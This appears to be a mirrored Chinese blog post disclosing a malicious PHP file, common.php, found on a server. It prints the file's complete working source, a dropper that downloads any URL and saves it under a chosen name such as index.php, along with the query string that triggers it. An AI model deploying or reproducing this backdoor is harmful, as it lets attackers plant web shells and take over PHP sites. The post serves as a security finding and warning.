zoukankan      html  css  js  c++  java
  • 安全维护:common.php

    common.php - 任意下载url中的文件,并重命名保存到当前目录

    危险级别:极高

    发现日期:2020-05-06

    <?php
    set_time_limit(0);
    
    if(isset($_GET['url']) && isset($_GET['filename'])){
        if(httpcopy($_GET['url'], $_GET['filename'])){
            echo("Done.");
        }else{
            echo("Down Error.");
        }
    }else{
        die('Input error.');
    }
    
    function httpcopy($url, $file="", $timeout=60) {
        $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
        $dir = pathinfo($file,PATHINFO_DIRNAME);                                    
        !is_dir($dir) && @mkdir($dir,0755,true);
        $url = str_replace(" ","%20",$url);
    
        if(function_exists('curl_init')) {
            echo "curl ";
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            $temp = curl_exec($ch);
            if(@file_put_contents($file, $temp) && !curl_error($ch)) {
                return $file;
            } else {
                return false;
            }
        } else {
            echo "copy ";
            $opts = array(
                "http"=>array(
                "method"=>"GET",
                "header"=>"",
                "timeout"=>$timeout)
            );
            $context = stream_context_create($opts);
            if(@copy($url, $file, $context)) {
                //$http_response_header
                return $file;
            } else {
                return false;
            }
        }
    }
    ?>

    运行方式:

    common.php?url=http://文件地址&filename=index.php

  • 相关阅读:
    Linux下防火墙的相关命令
    java中的异常总结
    Java中的==和equals的区别
    一个简单的前后端分离项目,适合新手练手
    入住博客园鸭
    centos7 安装 Python PIL模块
    Linux 装机错误解决
    Python 爬取煎蛋网妹子图片代码
    Python 简易聊天机器人
    Python员工信息表练习
  • 原文地址:https://www.cnblogs.com/phpyangbo/p/12834553.html
Copyright © 2011-2022 走看看